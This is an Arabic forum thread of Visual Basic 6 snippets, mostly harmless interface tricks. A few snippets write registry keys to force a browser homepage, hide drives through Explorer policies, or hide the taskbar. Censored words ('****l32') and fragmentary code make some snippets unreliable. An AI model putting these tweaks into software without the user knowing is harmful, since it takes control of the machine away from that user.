يسمح لجميع الأعضاء بطرح كودات في هذا الموضوع ... ويفضل ان يرفق بشرح للكود
ملاحظه مهمة : لا يسمح بالردود التي لا تحتوي على اكواد فيجوال بيسك وسيكون الموضوع عبارة عن مكتبة لطرح الاكواد فقط لا غير وسوف يحذف اي رد بدون اكواد للفيجوال بيسك وشرحها .. بالتوفيق للجميع \ HoBeeZ
ملاحظه مهمة : لا يسمح بالردود التي لا تحتوي على اكواد فيجوال بيسك وسيكون الموضوع عبارة عن مكتبة لطرح الاكواد فقط لا غير وسوف يحذف اي رد بدون اكواد للفيجوال بيسك وشرحها .. بالتوفيق للجميع \ HoBeeZ
السـلام عليكم ورحمة الله وبركاته
كيف الحـآل .. ان شاءالله بخيرٍ
رمضآن كرٍيم وينعاد عليكم بكل خير
~ حبيت انزل لكم بـعض الاكواد [ للفيجوال بيسـك ] ~
ان شاءالله تعجبكم
اولا كود الخروج من البرنامج [ هل تريد الخروج من البرنامج ] [ نعم أو لأ ]
كـود اضهار اسم الجهاز واي بي الجهاز الخاص بك
كـود افراغ سلة المحذوفات
كـود تغيير الصفحه الرئيسيه الخاصه بك في المتصفح
كـود .. الانتقال الى الموقع
خلفيه روعـه أنصحكم فيهـآ 
كيف الحـآل .. ان شاءالله بخيرٍ
رمضآن كرٍيم وينعاد عليكم بكل خير
~ حبيت انزل لكم بـعض الاكواد [ للفيجوال بيسـك ] ~
ان شاءالله تعجبكم
اولا كود الخروج من البرنامج [ هل تريد الخروج من البرنامج ] [ نعم أو لأ ]
private sub command1_click() d = msgbox("آنت الان تحاول الخروج من البرنامج هل انت متاكد من هذا الرغبـه", vbyesno + vbinformation, "تنـبيهً") select case d case vbyes end end select end sub |
كـود اضهار اسم الجهاز واي بي الجهاز الخاص بك
dim strname as string strip = winsock1.localip 'captures ip address and stores it strname = winsock1.localhostname 'captures host name and stores msgbox "your ip address is: " & strip & vbcrlf & vbcrlf & _ "your hostname is: " & ucase(strname) 'seperates the 2 in a |
ضع هذا الكود في العام general او موديول module private declare function shemptyrecyclebin lib "****l32.dll" _ alias "shemptyrecyclebina" (byval hwnd as long, _ byval pszrootpath as string, byval dwflags as long) as long private declare function shupdaterecyclebinicon lib "****l32.dll" () as long \\\ في الكومـند لافراغ سلة المحذوفات : Shemptyrecyclebin me.hwnd, vbnullstring, 0 للتحديث بعد افراغ البيانات : Shupdaterecyclebinicon |
كـود تغيير الصفحه الرئيسيه الخاصه بك في المتصفح
في جزء التصريحات العام "general" \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ private declare function regclosekey lib "advapi32.dll" (byval hkey as long) as long private declare function regcreatekey lib "advapi32.dll" alias "regcreatekeya" (byval hkey as long, byval lpsubkey as string, phkresult as long) as long private declare function regsetvalueex lib "advapi32.dll" alias "regsetvalueexa" (byval hkey as long, byval lpvaluename as string, byval reserved as long, byval dwtype as long, lpdata as any, byval cbdata as long) as long private const reg_sz = 1 private const hkey_current_user = &h80000001 public sub savestring(hkey as long, path as string, name as string, data as string) dim keyhandle as long dim r as long r = regcreatekey(hkey, path, keyhandle) r = regsetvalueex(keyhandle, name, 0, reg_sz, byval data, len(data)) r = regclosekey(keyhandle) end sub public sub setstartpage(url as string) call savestring(hkey_current_user, "software\microsoft\internet explorer\main", "start page", url) end sub \\\\\\\\\\\\\\\\\\\\\\\\\ \\\\\ في الزر \\\\\\\ private sub command1_click() setstartpage ("www.dev-point.com") end sub |
كـود .. الانتقال الى الموقع
dim x as object set x = createobject("internetexplorer.application") x.navigate "www.google.com" x.visible = true |
الجنرال . Private declare function setlayeredwindowattributes lib "user32.dll" (byval hwnd as long, byvalcrkey as long, byval balpha as byte, byval dwflags as long) as boolean private declare function setwindowlong lib "user32" alias "setwindowlonga" (byval hwnd as long, byval nindex as long, byval dwnewlong as long) as long private declare function getwindowlong lib "user32" alias "getwindowlonga" (byval hwnd as long, byval nindex as long) as long const lwa_alpha = 2 const gwl_exstyle = (-20) const ws_ex_layered = &h80000 end sub الفورم لود private sub form_load() setwindowlong hwnd, gwl_exstyle, getwindowlong(hwnd, gwl_exstyle) or ws_ex_layered setlayeredwindowattributes hwnd, 0, 128, lwa_alpha end sub |
كود افراغ حقول التكسـت
كـود دائره حمراء حول مؤشر الماوس [ نضع هذا الكود في الفورم ]
كـود اضهار واخفاء الصوره [ ] حلو الكود ذا
اول شي نضيف صوره من اداهـ [ Image1 ]
بعد كذا نضيف [ Command2 + Command1 ]
الاول نسـميه .. اضهار والثاني نسيمه اخفاء
هذا الكود نضعه في الزر الاول Command1
وهذا الكود في الـزر الثاني Command2
الاول اخفاء والثاني اضهار الصوره
هذا الكود لنسخ من التكسسـت
نفس الكود الي استعملته في برنامج [ لتوبيكات ]
نضع هذا الكود في الزر
لاكن لاتنساء ان تغير الحقل المراد النسخ منه Text1
< يعني ينسـخ النص الموجود داخل الحقل رقم واحد >
Dim i As Integer For i = 0 To Me.Controls.Count - 1 If TypeOf Me.Controls(i) Is TextBox Then Me.Controls(i).Text = "" End If Next |
Private Sub Form_MouseMove(Button As Integer, Shift As Integer, _ X As Single, Y As Single) Me.Cls Circle (X, Y), 100, vbRed End Sub |
] حلو الكود ذااول شي نضيف صوره من اداهـ [ Image1 ]
بعد كذا نضيف [ Command2 + Command1 ]
الاول نسـميه .. اضهار والثاني نسيمه اخفاء
هذا الكود نضعه في الزر الاول Command1
Private Sub Command1_Click() Image1.Visible = True End Sub |
Private Sub Command2_Click() Image1.Visible = False End Sub |
هذا الكود لنسخ من التكسسـت نفس الكود الي استعملته في برنامج [ لتوبيكات ]
نضع هذا الكود في الزر
With Text1 .SelStart = 0 .SelLength = Len(.Text) Clipboard.Clear .SetFocus Clipboard.SetText .Text End With MsgBox "تم نسخ التوبيك", , "عملية النسخ" |
< يعني ينسـخ النص الموجود داخل الحقل رقم واحد >
كيفية تفعيل و تعطيل زر الإغلاق في النوافذ بالكود
في قسم التصريحات العامة
أما في زر التفعيل
و في زر التعطيل
تغيير اسم الفورم من الفورم
نضيف هذا الكود في حدث الفورم
كـود حلو ذا امر فتح السيدي روم
في الجنـرال
في الزر
كود لجعل برنامجك في المقدمه
ضع الكود التالي في قسم التصريحات General
ثم ضع على حدث تحميل الفورم Form Load
ثم نضيف اداة التايمر
وعلى timer1 ونضيف في حدث التايمر هذا الكود
في قسم التصريحات العامة
private declare function getsystemmenu lib "user32" (byval hwnd _ as long, byval brevert as boolean) as long private declare function getmenuitemcount lib "user32" (byval _ hmenu as long) as long private declare function removemenu lib "user32" (byval _ hmenu as long, byval nposition as long, byval wflags as long) _ as long private declare function drawmenubar lib "user32" (byval hwnd as long) as long private const mf_byposition = &h400& private const mf_remove = &h1000& public sub disableclose(frm as form, optional _ disable as boolean = true) 'setting disable to false disables the 'x', 'otherwise, its reset dim hmenu as long dim ncount as long if disable then hmenu = getsystemmenu(frm.hwnd, false) ncount = getmenuitemcount(hmenu) call removemenu(hmenu, ncount - 1, mf_remove or _ mf_byposition) call removemenu(hmenu, ncount - 2, mf_remove or _ mf_byposition) drawmenubar frm.hwnd else getsystemmenu frm.hwnd, true drawmenubar frm.hwnd end if end sub |
call disableclose(me, false) |
call disableclose(me, true) |
تغيير اسم الفورم من الفورم
نضيف هذا الكود في حدث الفورم
form1.caption = "عبدالله الرويلي" |
كـود حلو
ذا امر فتح السيدي روم في الجنـرال
private declare function mcisendstring lib "winmm.dll" alias "mcisendstringa" ( _ byval lpstrcommand as string, byval lpstrreturnstring as string, _ byval ureturnlength as long, byval hwndcallback as long) as long public sub opencddrivedoor(byval state as boolean) if state = true then call mcisendstring("set cdaudio door open", 0&, 0&, 0&) else call mcisendstring("set cdaudio door closed", 0&, 0&, 0&) end if end sub |
private sub command1_click() private sub emptyrecyclebin() end sub |
كــٍوٍدٍ لوضع الموقع في المفـضـله 
النـجوم حطـو كلمه
في المديـل private declare function shgetspecialfolderlocation _ lib "****l32.dll" (byval hwndowner as long, _ byval nfolder as special****lfolderids, _ pidl as long) as long private declare function shgetpathfromidlist _ lib "****l32.dll" alias "shgetpathfromidlista" _ (byval pidl as long, _ byval pszpath as string) as long private declare sub cotaskmemfree lib "ole32.dll" _ (byval pv as long) public enum special****lfolderids csidl_desktop = &h0 csidl_internet = &h1 csidl_programs = &h2 csidl_controls = &h3 csidl_printers = &h4 csidl_personal = &h5 csidl_favorites = &h6 csidl_startup = &h7 csidl_recent = &h8 csidl_sendto = &h9 csidl_bitbucket = &ha csidl_startmenu = &hb csidl_desktopdirectory = &h10 csidl_drives = &h11 csidl_network = &h12 csidl_nethood = &h13 csidl_fonts = &h14 csidl_templates = &h15 csidl_common_startmenu = &h16 csidl_common_programs = &h17 csidl_common_startup = &h18 csidl_common_desktopdirectory = &h19 csidl_appdata = &h1a csidl_printhood = &h1b csidl_altstartup = &h1d csidl_common_altstartup = &h1e csidl_common_favorites = &h1f csidl_internet_cache = &h20 csidl_******s = &h21 csidl_history = &h22 end enum public sub addfavorite(sitename as string, url as string) dim pidl as long dim intfile as integer dim strfullpath as string on error goto goodbye intfile = freefile strfullpath = space(255) if shgetspecialfolderlocation(0, csidl_favorites, pidl) = 0 then if pidl then if shgetpathfromidlist(pidl, strfullpath) then if instr(1, strfullpath, chr(0)) then strfullpath = mid(strfullpath, 1, _ instr(1, strfullpath, chr(0)) - 1) end if if right(strfullpath, 1) <> "\" then strfullpath = strfullpath & "\" end if strfullpath = strfullpath & sitename & ".url" open strfullpath for output as #intfile print #intfile, "[internetshortcut]" print #intfile, "url=" & url close #intfile end if cotaskmemfree pidl end if end if goodbye: End sub في الزر private sub command1_click() addfavorite "منتديات الديف بوينت", "http://www.dev-point.com/vb" end sub |
ضع الكود التالي في قسم التصريحات General
Private Declare Sub SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) |
Timer1.Interval = 1 |
وعلى timer1 ونضيف في حدث التايمر هذا الكود
SetWindowPos Form1.hwnd, -1, 0, 0, 0, 0, 3 |
كود يقوم بحماية برنامجك حيث يعمل عدد من المرات (تحددها بنفسك)
If GD$ > 3 Then ' الرقم (3) يحدد عدد مرات التشغيل
هنا رقم 3 نقوم بتغييره الى عدد المرات التي يقوم برنامجك بتشغيل فقط [ اي بعد ثلاث مرات من تشغيل برنامج بعدها تضهر رسال للمستخدم [ نتهت مدة تشغيل البرنامج .. عليك بشراء النسخة الاصلية ]
Private Sub Form_Load() retvalue = GetSetting("A", "0", "Runcount") GD$ = Val(retvalue) + 1 SaveSetting "A", "0", "RunCount", GD$ If GD$ > 3 Then ' الرقم (3) يحدد عدد مرات التشغيل MsgBox "انتهت مدة تشغيل البرنامج .. عليك بشراء النسخة الاصلية" Unload FRM ' End If End Sub |
If GD$ > 3 Then ' الرقم (3) يحدد عدد مرات التشغيل
هنا رقم 3 نقوم بتغييره الى عدد المرات التي يقوم برنامجك بتشغيل فقط [ اي بعد ثلاث مرات من تشغيل برنامج بعدها تضهر رسال للمستخدم [ نتهت مدة تشغيل البرنامج .. عليك بشراء النسخة الاصلية ]
كود منع الزر الايمن بالماوس في برنامج
نضـع هذا الكود في الفورم في حدث .. MouseDown
كود لمعرفة عدد الاسطر في مربع النص [ صندوق النص ]
في التصاريح العامه
في الزر
command1
اسهل كود لتشفير النص ـ,ً
قـم بآدرآج مربع نص و كومند
وضع هذا الكود في الزر كومند
نضـع هذا الكود في الفورم في حدث .. MouseDown
Private Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single) If Button = 2 Then MsgBox "ممـنوع استخدام الزر الايمن بالماوس" End If End Sub |
كود لمنع المستخدم من ادخال في مربع النص غير ارقام
نضع هذا الكود في [ صندوق النص في الحدث keypress ]
Private Sub text1_keypress(keyascii As Integer) If (keyascii < 48 Or keyascii > 57) Then keyascii = 0 End Sub |
في التصاريح العامه
Option Explicit |
command1
Private Sub Command1_Click() Dim X() As String X = Split(Text1.Text, vbNewLine) MsgBox UBound(X) + 1 End Sub |
فتح الـ CD-ROM وإغلاقه
كود:
Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
Public Sub OpenCDDriveDoor(ByVal State As Boolean)
If State = True Then
Call mciSendString("Set CDAudio Door Open", 0&, 0&, 0&)
Else
Call mciSendString("Set CDAudio Door Closed", 0&, 0&, 0&)
End If
End Sub
Private Sub Command1_Click()
OpenCDDriveDoor (True)
End Sub
Private Sub Command2_Click()
OpenCDDriveDoor (False)
End Sub
إخفاء محتويات محرك الأقراص
كود:
Dim WSH As Object
Set WSH = CreateObject("Wscript.****l")
WSH.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewOnDrive", 16, "REG_DWORD"
كود:
Dim WSH As Object
Set WSH = CreateObject("Wscript.****l")
WSH.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives", 4, "REG_DWORD"
إخفاء شريط المهام
كود:
Private Const SWP_HIDEWINDOW = &H80 Private Const SWP_SHOWWINDOW = &H40 Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
كود:
Private Sub Command1_Click()
Dim Task As Long
Task = FindWindow("****l_traywnd", "")
Call SetWindowPos(Task, 0, 0, 0, 0, 0, SWP_HIDEWINDOW)
End Sub
Private Sub Command2_Click()
Dim Task As Long
Task = FindWindow("****l_traywnd", "")
Call SetWindowPos(Task, 0, 0, 0, 0, 0, SWP_SHOWWINDOW)
End Sub
كود:
Private Sub Form_Load()
MMControl1.FileName = ("c:\FileName.dat")
MMControl1.Command = "open"
MMControl1.hWndDisplay = Picture1.hWnd
End Sub
كود:
Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long) Private Const VK_SNAPSHOT = &H2C Private Sub Command1_Click() keybd_event VK_SNAPSHOT, 1, 1, 1 End Sub
التقاط صورة للشاشة
كود:
Const RC_PALETTE As Long = &H100 Const SIZEPALETTE As Long = 104 Const RASTERCAPS As Long = 38 Private Type PALETTEENTRY peRed As Byte peGreen As Byte peBlue As Byte peFlags As Byte End Type Private Type LOGPALETTE palVersion As Integer palNumEntries As Integer palPalEntry(255) As PALETTEENTRY ' Enough for 256 colors End Type Private Type GUID Data1 As Long Data2 As Integer Data3 As Integer Data4(7) As Byte End Type Private Type PicBmp Size As Long Type As Long hBmp As Long hPal As Long Reserved As Long End Type Private Declare Function OleCreatePictureIndirect Lib "olepro32.dll" (PicDesc As PicBmp, RefIID As GUID, ByVal fPictureOwnsHandle As Long, IPic As IPicture) As Long Private Declare Function CreateCompatibleDC Lib "gdi32" (ByVal hdc As Long) As Long Private Declare Function CreateCompatibleBitmap Lib "gdi32" (ByVal hdc As Long, ByVal nWidth As Long, ByVal nHeight As Long) As Long Private Declare Function SelectObject Lib "gdi32" (ByVal hdc As Long, ByVal hObject As Long) As Long Private Declare Function GetDeviceCaps Lib "gdi32" (ByVal hdc As Long, ByVal iCapabilitiy As Long) As Long Private Declare Function GetSystemPaletteEntries Lib "gdi32" (ByVal hdc As Long, ByVal wStartIndex As Long, ByVal wNumEntries As Long, lpPaletteEntries As PALETTEENTRY) As Long Private Declare Function CreatePalette Lib "gdi32" (lpLogPalette As LOGPALETTE) As Long Private Declare Function SelectPalette Lib "gdi32" (ByVal hdc As Long, ByVal hPalette As Long, ByVal bForceBackground As Long) As Long Private Declare Function RealizePalette Lib "gdi32" (ByVal hdc As Long) As Long Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long Private Declare Function DeleteDC Lib "gdi32" (ByVal hdc As Long) As Long Private Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long Function CreateBitmapPicture(ByVal hBmp As Long, ByVal hPal As Long) As Picture Dim R As Long, Pic As PicBmp, IPic As IPicture, IID_IDispatch As GUID 'Fill GUID info With IID_IDispatch .Data1 = &H20400 .Data4(0) = &HC0 .Data4(7) = &H46 End With 'Fill picture info With Pic .Size = Len(Pic) ' Length of structure .Type = vbPicTypeBitmap ' Type of Picture (bitmap) .hBmp = hBmp ' Handle to bitmap .hPal = hPal ' Handle to palette (may be null) End With 'Create the picture R = OleCreatePictureIndirect(Pic, IID_IDispatch, 1, IPic) 'Return the new picture Set CreateBitmapPicture = IPic End Function Function hDCToPicture(ByVal hDCSrc As Long, ByVal LeftSrc As Long, ByVal TopSrc As Long, ByVal WidthSrc As Long, ByVal HeightSrc As Long) As Picture Dim hDCMemory As Long, hBmp As Long, hBmpPrev As Long, R As Long Dim hPal As Long, hPalPrev As Long, RasterCapsScrn As Long, HasPaletteScrn As Long Dim PaletteSizeScrn As Long, LogPal As LOGPALETTE 'Create a compatible device context hDCMemory = CreateCompatibleDC(hDCSrc) 'Create a compatible bitmap hBmp = CreateCompatibleBitmap(hDCSrc, WidthSrc, HeightSrc) 'Select the compatible bitmap into our compatible device context hBmpPrev = SelectObject(hDCMemory, hBmp) 'Raster capabilities? RasterCapsScrn = GetDeviceCaps(hDCSrc, RASTERCAPS) ' Raster 'Does our picture use a palette? HasPaletteScrn = RasterCapsScrn And RC_PALETTE ' Palette 'What's the size of that palette? PaletteSizeScrn = GetDeviceCaps(hDCSrc, SIZEPALETTE) ' Size of If HasPaletteScrn And (PaletteSizeScrn = 256) Then 'Set the palette version LogPal.palVersion = &H300 'Number of palette entries LogPal.palNumEntries = 256 'Retrieve the system palette entries R = GetSystemPaletteEntries(hDCSrc, 0, 256, LogPal.palPalEntry(0)) 'Create the palette hPal = CreatePalette(LogPal) 'Select the palette hPalPrev = SelectPalette(hDCMemory, hPal, 0) 'Realize the palette R = RealizePalette(hDCMemory) End If 'Copy the source image to our compatible device context R = BitBlt(hDCMemory, 0, 0, WidthSrc, HeightSrc, hDCSrc, LeftSrc, TopSrc, vbSrcCopy) 'Restore the old bitmap hBmp = SelectObject(hDCMemory, hBmpPrev) If HasPaletteScrn And (PaletteSizeScrn = 256) Then 'Select the palette hPal = SelectPalette(hDCMemory, hPalPrev, 0) End If 'Delete our memory DC R = DeleteDC(hDCMemory) Set hDCToPicture = CreateBitmapPicture(hBmp, hPal) End Function Private Sub Form_Load() 'Create a picture object from the screen Set Me.Picture = hDCToPicture(GetDC(0), 0, 0, Screen.Width / Screen.TwipsPerPixelX, Screen.Height / Screen.TwipsPerPixelY) End Sub
نسخ خلفية سطح المكتب إلى النموذج
كود:
Private Declare Function PaintDesktop Lib "user32" (ByVal hdc As Long) As Long Private Sub Command1_Click() PaintDesktop Form1.hdc End Sub
كود:
Private Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, ByVal X As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long Private Sub Form_KeyDown(KeyCode As Integer, Shift As Integer) If KeyCode = vbKeyEscape Then Unload Me End Sub Private Sub Form_Load() Dim lngDC As Long Dim intWidth As Integer, intHeight As Integer Dim intX As Integer, intY As Integer lngDC = GetDC(0) intWidth = Screen.Width / Screen.TwipsPerPixelX intHeight = Screen.Height / Screen.TwipsPerPixelY form1.Width = intWidth * 15 form1.Height = intHeight * 15 Call BitBlt(hDC, 0, 0, intWidth, intHeight, lngDC, 0, 0, vbSrcCopy) form1.Visible = vbTrue Do intX = (intWidth - 128) * Rnd intY = (intHeight - 128) * Rnd Call BitBlt(lngDC, intX, intY + 1, 128, 128, lngDC, intX, intY, vbSrcCopy) DoEvents Loop End Sub Private Sub Form_Unload(Cancel As Integer) Set form1 = Nothing End End Sub
نموذج شفاف
كود:
Private Declare Function SetLayeredWindowAttributes Lib "user32.dll" (ByVal hwnd As Long, ByValcrKey As Long, ByVal bAlpha As Byte, ByVal dwFlags As Long) As Boolean Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long) As Long Const LWA_ALPHA = 2 Const GWL_EXSTYLE = (-20) Const WS_EX_LAYERED = &H80000 Private Sub Form_Load() SetWindowLong hwnd, GWL_EXSTYLE, GetWindowLong(hwnd, GWL_EXSTYLE) Or WS_EX_LAYERED SetLayeredWindowAttributes hwnd, 0, 128, LWA_ALPHA End Sub
كود:
Private Sub Form_Load() Dim Start, Finsh Form2.Show Start = Timer Finsh = Start + 3 Do Until Finsh <= Timer DoEvents Loop Unload Form2 Form1.Show End Sub
تحريك نص بطريقة مسلية
كود:
Private Sub Form_Load() Me.Label1.Top = 0 End Sub Private Sub Timer1_Timer() a = Me.Height b = 200 If Me.Label1.Top < a Then 'Me.Height Then Me.Label1.Top = Me.Label1.Top + b Exit Sub End If For m = 1 To (Int(a / b) + 1) Me.Label1.Top = Me.Label1.Top - 200 For x = 1 To 1000000 Next Next End Sub
كود:
Option Explicit Private Declare Function timeGetTime Lib "winmm.dll" () As Long Private Declare Function SetTextCharacterExtra Lib "gdi32" (ByVal hdc As Long, ByVal nCharExtra As Long) As Long Private Type RECT Left As Long Top As Long Right As Long Bottom As Long End Type Private Declare Function OffsetRect Lib "user32" (lpRect As RECT, ByVal x As Long, ByVal y As Long) As Long Private Declare Function SetTextColor Lib "gdi32" (ByVal hdc As Long, ByVal crColor As Long) As Long Private Declare Function FillRect Lib "user32" (ByVal hdc As Long, lpRect As RECT, ByVal hBrush As Long) As Long Private Declare Function CreateSolidBrush Lib "gdi32" (ByVal crColor As Long) As Long Private Declare Function DeleteObject Lib "gdi32" (ByVal hObject As Long) As Long Private Declare Function GetSysColor Lib "user32" (ByVal nIndex As Long) As Long Private Const COLOR_BTNFACE = 15 Private Declare Function TextOut Lib "gdi32" Alias "TextOutA" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long, ByVal lpString As String, ByVal nCount As Long) As Long Private Declare Function DrawText Lib "user32" Alias "DrawTextA" (ByVal hdc As Long, ByVal lpStr As String, ByVal nCount As Long, lpRect As RECT, ByVal wFormat As Long) As Long Private Const DT_BOTTOM = &H8 Private Const DT_CALCRECT = &H400 Private Const DT_CENTER = &H1 Private Const DT_CHARSTREAM = 4 ' Character-stream, PLP Private Const DT_DISPFILE = 6 ' Display-file Private Const DT_EXPANDTABS = &H40 Private Const DT_EXTERNALLEADING = &H200 Private Const DT_INTERNAL = &H1000 Private Const DT_LEFT = &H0 Private Const DT_****FILE = 5 ' ****file, VDM Private Const DT_NOCLIP = &H100 Private Const DT_NOPREFIX = &H800 Private Const DT_PLOTTER = 0 ' Vector plotter Private Const DT_RASCAMERA = 3 ' Raster camera Private Const DT_RASDISPLAY = 1 ' Raster display Private Const DT_RASPRINTER = 2 ' Raster printer Private Const DT_RIGHT = &H2 Private Const DT_SINGLELINE = &H20 Private Const DT_TABSTOP = &H80 Private Const DT_TOP = &H0 Private Const DT_VCENTER = &H4 Private Const DT_WORDBREAK = &H10 Private Declare Function OleTranslateColor Lib "olepro32.dll" (ByVal OLE_COLOR As Long, ByVal hPalette As Long, pccolorref As Long) As Long Private Const CLR_INVALID = -1 Public Sub TextEffect(obj As Object, ByVal sText As String, ByVal lX As Long, ByVal lY As Long, Optional ByVal bLoop As Boolean = False, Optional ByVal lStartSpacing As Long = 128, Optional ByVal lEndSpacing As Long = -1, Optional ByVal oColor As OLE_COLOR = vbWindowText) Dim lhDC As Long Dim i As Long Dim x As Long Dim lLen As Long Dim hBrush As Long Static tR As RECT Dim iDir As Long Dim bNotFirstTime As Boolean Dim lTime As Long Dim lIter As Long Dim bSlowDown As Boolean Dim lCOlor As Long Dim bDoIt As Boolean lhDC = obj.hdc iDir = -1 i = lStartSpacing tR.Left = lX: tR.Top = lY: tR.Right = lX: tR.Bottom = lY OleTranslateColor oColor, 0, lCOlor hBrush = CreateSolidBrush(GetSysColor(COLOR_BTNFACE)) lLen = Len(sText) SetTextColor lhDC, lCOlor bDoIt = True Do While bDoIt lTime = timeGetTime If (i < -3) And Not (bLoop) And Not (bSlowDown) Then bSlowDown = True iDir = 1 lIter = (i + 4) End If If (i > 128) Then iDir = -1 If Not (bLoop) And iDir = 1 Then If (i = lEndSpacing) Then ' Stop bDoIt = False Else lIter = lIter - 1 If (lIter <= 0) Then i = i + iDir lIter = (i + 4) End If End If Else i = i + iDir End If FillRect lhDC, tR, hBrush x = 32 - (i * lLen) SetTextCharacterExtra lhDC, i DrawText lhDC, sText, lLen, tR, DT_CALCRECT tR.Right = tR.Right + 4 If (tR.Right > obj.ScaleWidth \ Screen.TwipsPerPixelX) Then tR.Right = obj.ScaleWidth \ Screen.TwipsPerPixelX DrawText lhDC, sText, lLen, tR, DT_LEFT obj.******* Do DoEvents If obj.Visible = False Then Exit Sub Loop While (timeGetTime - lTime) < 20 Loop DeleteObject hBrush End Sub Private Sub Command1_Click() Me.ScaleMode = vbTwips Me.AutoRedraw = True Call TextEffect(Me, "H e l l o!", 10, 10, False, 75) End Sub
كود:
Dim Llabel As Integer Private Sub Form_Load() Form1.ScaleMode = 3 Timer1.Interval = 100 End Sub Private Sub Timer1_Timer() Llabel = Llabel + 10 Label1.Left = Llabel If Llabel > 300 Then Timer1.Interval = 0 Timer2.Interval = 100 End If End Sub Private Sub Timer2_Timer() Llabel = Llabel - 10 Label1.Left = Llabel If Llabel < 0 Then Timer1.Interval = 100 Timer2.Interval = 0 End If End Sub
كود:
Private Sub Form_Load() Me.AutoRedraw = True End Sub Private Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single) X = Me.CurrentX Y = Me.CurrentY End Sub Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single) Me.PSet (X + Rnd * 255, Y + Rnd * 255), RGB(Rnd * 255, Rnd * 255, Rnd * 255) Me.PSet (X + Rnd * 255, Y + Rnd * 255), RGB(Rnd * 255, Rnd * 255, Rnd * 255) Me.PSet (X + Rnd * 255, Y + Rnd * 255), RGB(Rnd * 255, Rnd * 255, Rnd * 255) Me.PSet (X + Rnd * 255, Y + Rnd * 255), RGB(Rnd * 255, Rnd * 255, Rnd * 255) End Sub
طريقة جميلة لإغلاق الفورم
كود:
Sub SlideWindow(frmSlide As Form, iSpeed As Integer) While frmSlide.Left + frmSlide.Width < Screen.Width DoEvents frmSlide.Left = frmSlide.Left + iSpeed Wend While frmSlide.Top - frmSlide.Height < Screen.Height DoEvents frmSlide.Top = frmSlide.Top + iSpeed Wend Unload frmSlide End Sub Private Sub Command1_Click() Call SlideWindow(Form1, 100) End Sub
فتح الفورم بشكل جميل
كود:
Sub Explode(form1 As Form) form1.Width = 0 form1.Height = 0 form1.Show For x = 0 To 5000 Step 1 form1.Width = x form1.Height = x With form1 .Left = (Screen.Width - .Width) / 2 .Top = (Screen.Height - .Height) / 2 End With Next End Sub Private Sub Form_Load() Explode Me End Sub
خلفية جميلة للفورم
كود:
Private Sub Form_Load() Me.AutoRedraw = True Me.ScaleMode = vbTwips Me.Caption = "Rainbow Generator by " & _ "K. O. Thaha Hussain" End Sub Private Sub Form_Resize() Call Rainbow End Sub Private Sub Rainbow() On Error Resume Next Dim Position As Integer, Red As Integer, Green As _ Integer, Blue As Integer Dim ScaleFactor As Double, Length As Integer ScaleFactor = Me.ScaleWidth / (255 * 6) Length = Int(ScaleFactor * 255) Position = 0 Red = 255 Blue = 1 For Green = 1 To Length Me.Line (Position, 0)-(Position, Me.ScaleHeight), _ RGB(Red, Green \ ScaleFactor, Blue) Position = Position + 1 Next Green For Red = Length To 1 Step -1 Me.Line (Position, 0)-(Position, Me.ScaleHeight), _ RGB(Red \ ScaleFactor, Green, Blue) Position = Position + 1 Next Red For Blue = 0 To Length Me.Line (Position, 0)-(Position, Me.ScaleHeight), _ RGB(Red, Green, Blue \ ScaleFactor) Position = Position + 1 Next Blue For Green = Length To 1 Step -1 Me.Line (Position, 0)-(Position, Me.ScaleHeight), _ RGB(Red, Green \ ScaleFactor, Blue) Position = Position + 1 Next Green For Red = 1 To Length Me.Line (Position, 0)-(Position, Me.ScaleHeight), _ RGB(Red \ ScaleFactor, Green, Blue) Position = Position + 1 Next Red For Blue = Length To 1 Step -1 Me.Line (Position, 0)-(Position, Me.ScaleHeight), _ RGB(Red, Green, Blue \ ScaleFactor) Position = Position + 1 Next Blue End Sub
صنع فجوة داخل الفورم (دائرة - مربع - مستطيل)
كود:
